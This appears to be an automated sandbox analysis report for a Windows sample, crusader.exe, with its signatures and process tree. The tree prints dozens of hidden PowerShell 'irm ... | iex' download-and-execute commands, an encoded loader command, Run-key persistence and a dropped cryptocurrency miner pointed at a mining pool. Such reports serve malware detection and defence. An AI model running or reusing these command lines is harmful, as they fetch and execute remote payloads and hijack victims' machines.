Overview

overview

8

Static

static

3

crusader.exe

windows10-2004-x64

8

crusader.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    83s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/10/2026, 19:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    crusader.exe
  • Size 7.3MB
  • Sample261029-xt1ynset2w
  • SHA256 df4984c33d1314b4e8fa608ac7a280f5c3fd3c580e64b74bc3f08fd77fe40b8d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistence

Malware Config

Signatures

  • Badlisted process makes network request 39 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

    Run Powershell and hide display window.

    execution
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 20 IoCs
    persistence
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\crusader.exe
    "C:\Users\Admin\AppData\Local\Temp\crusader.exe"
    1⤵
    • Checks BIOS information in registry
    • Suspicious use of WriteProcessMemory
    PID:4576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4596
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\4tsjwvxc.ev4.ps1"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4084
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ez0yxp1j\ez0yxp1j.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1472
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE64.tmp" "c:\Users\Admin\AppData\Local\Temp\ez0yxp1j\CSCA5B3EE3EF6814E8385ABFE62A87155ED.TMP"
            5⤵
              PID:5684
          • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig
            4⤵
            • Executes dropped EXE
            PID:1400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm zc9wepfhj3eqq67.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\ratgsx13.du1.ps1"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:260
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm nsa5aoeaidle.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\e5czt1kp.rt4.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:3184
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 08tl20o7.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\2zrfgnky.da4.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:2344
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm os98mc3xvq.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\nvzthht1.owo.ps1"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:5768
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 3ioo0pb2.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5888
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\k0cybf5o.ocw.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:2020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm q5k6of1a0.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\qiv34dml.ilv.ps1"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:4088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm sn8l95r8skg1j8.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\oedrckb5.mke.ps1"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:3048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm kb44vxwr.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4800
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\sf4rwwox.rgq.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:1644
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 0ri49ott31ku.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1696
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\b0jjv4cu.mmn.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:3092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 7i6ffca9.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\fy2qdtol.oif.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:3444
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm uwthc37voq.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:2768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\2hoowmxe.ig1.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:1128
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm rozoorcr.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\fziqtfcq.is1.ps1"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:5988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm fpi1sy685lnvw2n6.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:1248
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\vmqaegat.f0f.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:3892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm ho0975637p31waji.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\krhq1g3k.dkd.ps1"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:5152
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm vy72vr9tcib.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:5856
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\i5qpm202.ncf.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:4216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm q8rck83ajttv7tw.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:5536
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\2c2qhhha.j5e.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:1052
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm ftnha29fq69ppe.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:2824
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\ewcl5k0m.n5h.ps1"
        2⤵
        • Adds Run key to start application
        PID:5400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 7jnrwsbqtqkw.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:4152
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\4pwrh3v1.r3f.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:5100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm t7rlkps9u4ad.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:2356
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\htpkx10u.ks2.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:3920
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 4njmrxmj2t2fls6.irm.st | iex"
      1⤵
        PID:2116
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\4343kc20.ckj.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          PID:1740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm ibojdrucg.irm.st | iex"
        1⤵
          PID:3584
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\h2lenx3r.pqm.ps1"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4904
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm uarc6nj4m00.irm.st | iex"
          1⤵
          • Command and Scripting Interpreter: PowerShell
          PID:1764
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\pyv5wcgs.h3z.ps1"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2520
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 9actit9avx2.irm.st | iex"
          1⤵
          • Command and Scripting Interpreter: PowerShell
          PID:5124
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\ax3glxui.ptn.ps1"
            2⤵
              PID:1064
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm kibar1vz5.irm.st | iex"
            1⤵
            • Command and Scripting Interpreter: PowerShell
            PID:6100
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\hbx1i40k.hib.ps1"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:3400
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm utfla4yu.irm.st | iex"
            1⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4280
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\wplprcp1.cex.ps1"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:5924
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 0vggdre6z0.irm.st | iex"
            1⤵
              PID:1124
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\ut4if4cu.gbg.ps1"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                PID:3608
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm j5fr630x.irm.st | iex"
              1⤵
              • Command and Scripting Interpreter: PowerShell
              PID:2936
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\1ezr100k.3ms.ps1"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                PID:4580
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm fjwl02dnuqmnf.irm.st | iex"
              1⤵
              • Command and Scripting Interpreter: PowerShell
              PID:5428
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\vlfk20wz.252.ps1"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                PID:2968
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm p5zmf6h7kikksf.irm.st | iex"
              1⤵
              • Command and Scripting Interpreter: PowerShell
              PID:1204
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\v15ebd5a.qnq.ps1"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                PID:4480
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm qs72opx5vw2qvun.irm.st | iex"
              1⤵
                PID:4452
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\lf5a3j5r.oj3.ps1"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:2828
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm hpz0cho6gukiife.irm.st | iex"
                1⤵
                • Command and Scripting Interpreter: PowerShell
                PID:4116
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\wvnnlrzt.wcm.ps1"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:3708
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 3qi1kfr7z17x9w5e.irm.st | iex"
                1⤵
                • Command and Scripting Interpreter: PowerShell
                PID:2516
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\kkai442a.dmc.ps1"
                  2⤵
                    PID:3668
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm w4ad7z69swivz6.irm.st | iex"
                  1⤵
                    PID:2888
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\dcrg0hrd.cka.ps1"
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:596
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm jod93uou8k.irm.st | iex"
                    1⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:2392
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\n4nwodtx.gh1.ps1"
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:3948
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm z5nkrv3lv9zn1c.irm.st | iex"
                    1⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:5540
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\4sbtzxsc.zid.ps1"
                      2⤵
                        PID:4480
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm k6x9inygcu2im898.irm.st | iex"
                      1⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:3400
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\mr2iuw13.uq4.ps1"
                        2⤵
                          PID:5092
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 0qpwfb0td78gg.irm.st | iex"
                        1⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:3752
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\gvcgr4om.c1x.ps1"
                          2⤵
                            PID:5244
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 6fio5ta73j4yivee.irm.st | iex"
                          1⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:1904
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\hxicmzlt.yte.ps1"
                            2⤵
                              PID:4920
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
